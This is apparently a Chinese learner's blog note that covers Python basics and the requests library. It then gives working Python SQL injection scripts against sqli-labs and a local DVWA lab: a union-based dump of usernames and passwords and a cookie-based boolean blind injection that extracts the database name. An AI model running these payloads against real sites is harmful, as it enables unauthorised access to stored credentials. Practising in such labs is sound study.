环境的配置:
方便省事,直接用pycharm
浅浅尝试一下发现成功
python的数据类型:
Numbers(数字)
String(字符串)
List(列表)
Tuple(元组)
Dictionary(字典)
数字:
int型:
a=1.0
int(a)
a=1
大体上与c语言差不多
但是python是支持复数的
complex(x, y) 将 x 和 y 转换到一个复数,实数部分为 x,虚数部分为 y。x 和 y 是数字表达式。
PS:值得注意的是:python没有”;“
列表:
序列是 Python 中最基本的数据结构。
序列中的每个值都有对应的位置值,称之为索引,第一个索引是 0,第二个索引是 1,依此类推。
Python 有 6 个序列的内置类型,但最常见的是列表和元组。
列表都可以进行的操作包括索引,切片,加,乘,检查成员。
此外,Python 已经内置确定序列的长度以及确定最大和最小的元素的方法。
列表是最常用的 Python 数据类型,它可以作为一个方括号内的逗号分隔值出现。
列表的数据项不需要具有相同的类型
创建一个列表,只要把逗号分隔的不同的数据项使用方括号括起来即可。
list = []
list.append('546456') #添加
list.append('gvdgdg')
print(list)
del list[1] #删除
print(list)
元组
Python的元组与列表类似,不同之处在于元组的元素不能修改,元组中只包含一个元素时,需要在元素
后面添加逗号,元组可以直接相加拼接,也可以直接使用del删除。
y1 = (1, 2, 3, 4, 5 )
y2 = ("f**k you",)
print(y1 + y2)
字典:
字典是另一种可变容器模型,且可存储任意类型对象。
字典的每个键值 key=>value 对用冒号 : 分割,每个对之间用逗号(,)分割,整个字典包括在花括号 {} 中
tinydict = {'Name': '张三', '年龄': 7, '班级': 'First'}
print("tinydict['Name']: ", tinydict['Name'])
print("tinydict['年龄']: ", tinydict['年龄'])
tinydict = {'Name': '张三', '年龄': 7, '班级': 'First'}
tinydict['Name'] = 8 # 更新
tinydict['ff'] = "ffffffffawdadawd" # 添加
print("tinydict['Name']: ", tinydict['Name'])
print("tinydict['ff']: ", tinydict['ff'])
del tinydict['Name'] # 删除键是'Name'的数值
tinydict.clear() #删除所有数值
输入与输出:
a = 100
b = 50
print(a+b)
print('Hello,world!')
print("Hello,world!")
name = input('请输入您的姓名:')
print('我的姓名是'+name)
python在web中的应用:
request:
函数 用法
requests.request() 构造一个请求,支撑以下各方法的基础方法
requests.get() 获取HTML网页的主要方法,对应于HTTP的GET
requests.head() 获取HTML网页头信息的方法,对应于HTTP的HEAD
requests.post() 向HTML网页提交POST 请求的方法,对应于HTTP的POST
requests.put() 向HTML网页提交PUT请求的方法,对应于HTTP的PUT
requests.patch() 向HTML网页提交局部修改请求,对应于HTTP的PATCH
requests.delete() 向HTML网页提交删除请求,对应于HTTP的DELETE
实例:get传参
import requests
kv = {'key1': 'value1', 'key2': 'value2'}
r = requests.get("http://python123.io/ws", params = kv)
print (r.url)
运行结果:
诶,是不是很像我们ctf做题时的payload
返回内容
import requests
req = requests.get("http://www.uploa.com/upload-labs/")
print(req.text)
测试之前的网站:
返回了网页的源码:
继续
import requests
req = requests.get("http://www.uploa.com/upload-labs/")
print(type(req)) # 查看响应对象的类型
print(req.cookies) # 查看cookie
实战:SQL注入:
import requests
url = "http://www.sql-lab.com/sqli-labs-master/Less-1/"
header={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0)
Gecko/20100101 Firefox/94.0',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*
;q=0.8'
}
str1 = 'Unknown column'
def func1():
for i in range(1,6):
url1 = url + '?id=1\' order by {} --+'.format(i)
r = requests.get(url1,headers=header)
#print(r.url)
if(str1 in r.text):
print('字段数为:' + format(i - 1))
break
def func2():
url2 = url + '?id=-1\' union select
1,group_concat(username,\':\',password),3 from users --+'
r = requests.get(url2,headers=header)
print(r.url)
print(r.text)
if __name__ == "__main__":
func1() #判断字段数
func2() #获取数据
DVWA 的盲注:
![在这里插入图片描述](https://img-blog.csdnimg.cn/e7ae6b9a9585447ea299ced53e09367e.png)
import requests
url = 'http://192.168.141.130/01/vulnerabilities/sqli_blind/'
cookie = {'id': '1', 'PHPSESSID': '7r8f2nlki2dhbdi29u6jg1j9ps', 'security': 'high'}
correct_len = len(requests.get(url=url, cookies=cookie).text)
# print(correct_len)
strs = 'qwertyuiopasdfghjklzxcvbnm'
def inject1():
dbNameLen = 0
while True:
testcookie = '1\'+and+length(database())=' + str(dbNameLen) + '#'
coo = {'id': testcookie, 'PHPSESSID': '7r8f2nlki2dhbdi29u6jg1j9ps', 'security': 'high'}
if len(requests.get(url=url, cookies=coo).text) == correct_len:
break
dbNameLen += 1
return dbNameLen
def inject2():
dbName = ''
for i in range(1, 5):
for j in strs:
testcookie = '1\' and (select ascii(substr(database(),{},1)) = {}) '.format(i, ord(j)) + '#'
# print(testcookie)
coo = {'id': testcookie, 'PHPSESSID': '7r8f2nlki2dhbdi29u6jg1j9ps', 'security': 'high'}
if len(requests.get(url=url, cookies=coo).text) == correct_len:
dbName += j
# print(dbName)
break
return dbName
print(inject1())
print(inject2())
好奇怪 原来是没改cookie
import requests
url = 'http://192.168.141.130/01/vulnerabilities/sqli_blind/'
cookie = {
'id': '1',
'PHPSESSID': 'fobc2fpnamma2plklu3fm9ahs1',
'security': 'high'
}
# 获取正确的页面长度
correct_len = len(requests.get(url=url, cookies=cookie).text)
# 字符串集合
strs = 'qwertyuiopasdfghjklzxcvbnm'
def inject1():
dbNameLen = 0
while True:
payload = f"1' AND LENGTH(DATABASE())={dbNameLen}-- "
testcookie = {
'id': payload,
'PHPSESSID': 'fobc2fpnamma2plklu3fm9ahs1',
'security': 'high'
}
if len(requests.get(url=url, cookies=testcookie).text) == correct_len:
break
dbNameLen += 1
return dbNameLen
def inject2():
dbName = ''
for i in range(1, 5):
for j in strs:
payload = f"1' AND (SELECT ASCII(SUBSTRING(DATABASE(), {i}, 1))={ord(j)})-- "
testcookie = {
'id': payload,
'PHPSESSID': 'fobc2fpnamma2plklu3fm9ahs1',
'security': 'high'
}
if len(requests.get(url=url, cookies=testcookie).text) == correct_len:
dbName += j
break
return dbName
print(inject1())
print(inject2())